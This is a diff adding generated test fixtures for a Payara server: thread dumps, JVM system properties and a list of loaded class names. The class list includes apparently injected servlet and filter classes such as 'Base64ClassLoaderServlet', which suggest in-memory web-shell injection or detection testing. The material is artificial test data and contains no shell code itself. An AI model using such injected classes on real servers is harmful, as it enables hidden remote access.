java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1269) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:81) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:561) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-10" #90 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"FelixFrameworkWiring" #19 daemon [WAITING] on java.util.ArrayList@23d36bef + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:172) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.IO.BalancerThread" #78 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@589916e6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"SCR Component Actor" #169 daemon [WAITING] on java.util.LinkedList@3b658fd0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.scr.impl.ComponentActorThread.run(ComponentActorThread.java:83) + at java.lang.Thread.run(Thread.java:748) + +"Keep-Alive-Timer" #116 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at sun.net.www.http.KeepAliveCache.run(KeepAliveCache.java:172) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.HealthMonitor" #66 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at java.lang.Thread.sleep(Thread.java:340) + at java.util.concurrent.TimeUnit.sleep(TimeUnit.java:386) + at com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread.run(HealthMonitor.java:163) + +"hz._hzInstance_1_development.cached.thread-8" #88 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"CM Event Dispatcher" #149 daemon [WAITING] on java.util.LinkedList@19eb092a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:79) + at java.lang.Thread.run(Thread.java:748) + +"GC Daemon" #160 daemon [TIMED_WAITING] on sun.misc.GC$LatencyLock@45441f87 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at sun.misc.GC$Daemon.run(GC.java:117) + +"JMS_PROXY_default_JMS_host-kernel(1) SelectorRunner" #145 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:90) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:315) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:255) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:569) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:549) + at java.lang.Thread.run(Thread.java:748) + +"EventAdminAsyncThread #9" #164 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"FelixDispatchQueue" #13 daemon [WAITING] on java.util.ArrayList@234ff59d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.EventDispatcher.run(EventDispatcher.java:1122) + at org.apache.felix.framework.EventDispatcher.access$000(EventDispatcher.java:54) + at org.apache.felix.framework.EventDispatcher$1.run(EventDispatcher.java:102) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-6" #86 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"hz._hzInstance_1_development.partition-operation.thread-9" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:231) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:153) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.run(OperationThread.java:105) + +"payara-executor-service-task" #36 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32da6f30 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"CM Configuration Updater" #148 daemon [WAITING] on java.util.LinkedList@78b62eb1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:79) + at java.lang.Thread.run(Thread.java:748) + +"hz._hzInstance_1_development.cached.thread-9" #89 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@1692294f + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + at com.hazelcast.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:64) + at com.hazelcast.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:80) + +"EventAdminAsyncThread #1" #150 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@59d55cf9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web]]" #126 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.lang.Thread.run(Thread.java:748) + +"Logging output pump" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@38e3291a + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.sun.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:151) + at com.sun.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:129) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.hazelcast.internal.diagnostics.HealthMonitor$HealthMonitorThread +com.hazelcast.internal.networking.nio.NioThread +com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread +com.hazelcast.internal.partition.impl.MigrationThread +com.hazelcast.internal.util.concurrent.MPSCQueue +com.hazelcast.nio.tcp.TcpIpAcceptor$AcceptorIOThread +com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl +com.hazelcast.spi.impl.operationexecutor.impl.OperationThread +com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread +com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask +com.hazelcast.spi.impl.operationservice.impl.InboundResponseHandlerSupplier$ResponseThread +com.hazelcast.util.executor.HazelcastManagedThread +com.hazelcast.util.executor.StripedExecutor$Worker +fish.payara.nucleus.phonehome.PhoneHomeTask +org.apache.RusUn.ErrorHandler +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Payara520225ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Payara520225ContainerTestBasicInfo.txt new file mode 100644 index 00000000..a97a7fb0 --- /dev/null +++ b/integration-test/src/test/resources/infos/Payara520225ContainerTestBasicInfo.txt @@ -0,0 +1,1867 @@ +# Generated At 2025-08-10 16:57:19 +SystemProps: +com.sun.aas.imqBin: /usr/local/payara5/mq/bin +AS_H2_INSTALL: /usr/local/payara5/glassfish/config/../../h2db +java.vendor: Azul Systems, Inc. +sun.java.launcher: SUN_STANDARD +catalina.base: /usr/local/payara5/glassfish/domains/domain1 +javax.net.ssl.trustStorePassword: changeit +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +com.sun.enterprise.jaccprovider.property.repository: /usr/local/payara5/glassfish/domains/domain1/generated/policy +catalina.useNaming: false +os.name: Linux +java.util.logging.config.file: /usr/local/payara5/glassfish/domains/domain1/config/logging.properties +sun.boot.class.path: /usr/lib/jvm/zulu8-ca-arm64/jre/lib/resources.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/rt.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/sunrsasign.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/jsse.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/jce.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/charsets.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/jfr.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/lib/cat.jar:/usr/lib/jvm/zulu8-ca-arm64/jre/classes:/usr/local/payara5/glassfish/lib/grizzly-npn-api.jar +javax.security.jacc.PolicyConfigurationFactory.provider: com.sun.enterprise.security.provider.PolicyConfigurationFactoryImpl +AS_DEF_NODES_PATH: ../nodes +felix.fileinstall.poll: 5000 +java.vm.specification.vendor: Oracle Corporation +osgi.shell.telnet.maxconn: 1 +java.runtime.version: 1.8.0_432-b06 +javax.net.ssl.keyStore: /usr/local/payara5/glassfish/domains/domain1/config/keystore.jks +user.name: root +osgi.shell.telnet.ip: 127.0.0.1 +com.sun.enterprise.config.config_environment_factory_class: com.sun.enterprise.config.serverbeans.AppserverConfigEnvironmentFactory +felix.fileinstall.log.level: 2 +com.sun.aas.agentRoot: /usr/local/payara5/glassfish/nodes +user.language: en +jdk.attach.allowAttachSelf: true +sun.boot.library.path: /usr/lib/jvm/zulu8-ca-arm64/jre/lib/aarch64 +com.sun.aas.javaRoot: /usr/lib/jvm/zulu8-ca-arm64/jre +AS_IMQ_LIB: /usr/local/payara5/glassfish/config/../../mq/lib +java.util.logging.manager: fish.payara.logging.PayaraLogManager +java.version: 1.8.0_432 +com.sun.aas.instanceRootURI: file:/usr/local/payara5/glassfish/domains/domain1/ +user.timezone: Etc/UTC +sun.arch.data.model: 64 +javax.rmi.CORBA.UtilClass: com.sun.corba.ee.impl.javax.rmi.CORBA.Util +java.endorsed.dirs: /usr/local/payara5/glassfish/modules/endorsed:/usr/local/payara5/glassfish/lib/endorsed +java.rmi.server.randomIDs: true +com.sun.aas.installRoot: /usr/local/payara5/glassfish +sun.cpu.isalist: +sun.jnu.encoding: UTF-8 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: US +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +java.home: /usr/lib/jvm/zulu8-ca-arm64/jre +felix.fileinstall.dir: /usr/local/payara5/glassfish/modules/autostart/ +java.vm.info: mixed mode +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.productRoot: /usr/local/payara5 +sun.font.fontmanager: sun.awt.X11FontManager +org.omg.CORBA.ORBSingletonClass: com.sun.corba.ee.impl.orb.ORBSingleton +com.sun.aas.installRootURI: file:/usr/local/payara5/glassfish/ +path.separator: : +java.vm.version: 25.432-b06 +org.glassfish.gmbal.no.multipleUpperBoundsException: true +AS_CONFIG: /usr/local/payara5/glassfish/config/../config +jdbc.drivers: org.h2.Driver +AS_IMQ_BIN: /usr/local/payara5/glassfish/config/../../mq/bin +java.awt.printerjob: sun.print.PSPrinterJob +java.security.policy: /usr/local/payara5/glassfish/domains/domain1/config/server.policy +jdk.tls.rejectClientInitiatedRenegotiation: true +sun.io.unicode.encoding: UnicodeLittle +com.sun.aas.hostName: c9a041531fef +java.specification.maintenance.version: 6 +awt.toolkit: sun.awt.X11.XToolkit +javax.rmi.ssl.client.enabledProtocols: TLSv1,TLSv1.1,TLSv1.2,SSLv2Hello +AS_INSTALL: /usr/local/payara5/glassfish/config/.. +felix.fileinstall.disableConfigSave: false +user.home: /root +com.sun.aas.instanceName: server +com.sun.aas.configRoot: /usr/local/payara5/glassfish/config +java.specification.vendor: Oracle Corporation +java.library.path: /usr/local/payara5/glassfish/lib:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.vendor.url: http://www.azul.com/ +javax.rmi.CORBA.StubClass: com.sun.corba.ee.impl.javax.rmi.CORBA.StubDelegateImpl +java.vm.vendor: Azul Systems, Inc. +jdk.corba.allowOutputStreamSubclass: true +java.runtime.name: OpenJDK Runtime Environment +sun.java.command: com.sun.enterprise.glassfish.bootstrap.ASMain -upgrade false -domaindir /usr/local/payara5/glassfish/domains/domain1 -read-stdin true -asadmin-args --host,,,localhost,,,--port,,,4848,,,--user,,,admin,,,--passwordfile,,,/usr/local/passwordFile,,,--secure=false,,,--terse=false,,,--extraterse=false,,,--echo=false,,,--interactive=false,,,--autoname=false,,,start-domain,,,--verbose=false,,,--watchdog=false,,,--debug=false,,,--domaindir,,,/usr/local/payara5/glassfish/domains,,,domain1 -domainname domain1 -instancename server -type DAS -verbose false -asadmin-classpath /usr/local/payara5/glassfish/lib/client/appserver-cli.jar -debug false -asadmin-classname com.sun.enterprise.admin.cli.AdminMain -watchdog false +java.class.path: /usr/local/payara5/glassfish/modules/glassfish.jar:/usr/local/payara5/glassfish/lib/monitor/flashlight-agent.jar +GlassFish_Platform: Felix +java.vm.specification.name: Java Virtual Machine Specification +catalina.home: /usr/local/payara5/glassfish/domains/domain1 +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +java.vm.specification.version: 1.8 +sun.cpu.endian: little +sun.os.patch.level: unknown +java.awt.headless: true +gosh.args: --nointeractive +java.io.tmpdir: /tmp +com.sun.aas.imqLib: /usr/local/payara5/mq/lib +AS_DEF_DOMAINS_PATH: /usr/local/payara5/glassfish/config/../domains +java.vendor.url.bug: http://www.azul.com/support/ +com.sun.aas.domainsRoot: /usr/local/payara5/glassfish/domains +os.arch: aarch64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.ext.dirs: /usr/lib/jvm/zulu8-ca-arm64/jre/lib/ext:/usr/lib/jvm/zulu8-ca-arm64/jre/jre/lib/ext:/usr/local/payara5/glassfish/domains/domain1/lib/ext +felix.fileinstall.bundles.startTransient: true +user.dir: /usr/local/payara5 +com.sun.aas.instanceRoot: /usr/local/payara5/glassfish/domains/domain1 +line.separator: + +java.vm.name: OpenJDK 64-Bit Server VM +glassfish.version: Payara Server 5.2022.5 #badassfish (build 492) +java.security.auth.login.config: /usr/local/payara5/glassfish/domains/domain1/config/login.conf +com.ctc.wstx.returnNullForDefaultNamespace: true +jdk.vendor.version: Zulu 8.82.0.21-CA-linux-aarch64 +fish.payara.aas.h2Root: /usr/local/payara5/h2db +org.jboss.weld.serialization.beanIdentifierIndexOptimization: false +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +file.encoding: UTF-8 +com.sun.enterprise.security.httpsOutboundKeyAlias: s1as +javax.xml.accessExternalSchema: all +ANTLR_USE_DIRECT_CLASS_LOADING: true +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +felix.fileinstall.bundles.new.start: true +java.specification.version: 1.8 +javax.net.ssl.trustStore: /usr/local/payara5/glassfish/domains/domain1/config/cacerts.jks +JMS_PROVIDER_PORT: 7676 +javax.net.ssl.keyStorePassword: changeit +osgi.shell.telnet.port: 6666 + +=========================================== + +ThreadStacks: +"Executor-Service-7" #127 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@67230209 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.priority-generic-operation.thread-0" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66e9770b + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:76) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"RMI TCP Connection(2)-192.168.215.4" #164 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at sun.security.ssl.SSLSocketInputRecord.read(SSLSocketInputRecord.java:476) + at sun.security.ssl.SSLSocketInputRecord.readHeader(SSLSocketInputRecord.java:470) + at sun.security.ssl.SSLSocketInputRecord.bytesInCompletePacket(SSLSocketInputRecord.java:70) + at sun.security.ssl.SSLSocketImpl.readApplicationRecord(SSLSocketImpl.java:1373) + at sun.security.ssl.SSLSocketImpl.access$300(SSLSocketImpl.java:73) + at sun.security.ssl.SSLSocketImpl$AppInputStream.read(SSLSocketImpl.java:982) + at java.io.BufferedInputStream.fill(BufferedInputStream.java:246) + at java.io.BufferedInputStream.read(BufferedInputStream.java:265) + at java.io.FilterInputStream.read(FilterInputStream.java:83) + at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:555) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:834) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.lambda$run$0(TCPTransport.java:688) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$1661/2062436826.run(Unknown Source) + at java.security.AccessController.doPrivileged(Native Method) + at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:687) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"FelixStartLevel" #20 daemon [WAITING] on java.util.ArrayList@43d8ee1e + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at org.apache.felix.framework.FrameworkStartLevelImpl.run(FrameworkStartLevelImpl.java:274) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.IO.thread-in-2" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"Gogo shell" #158 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@242bf7d6 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2044) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"hz.flamboyant_pascal.partition-operation.thread-7" #48 daemon [WAITING] + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:304) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"GF Domain XML" #108 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21c44707 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at 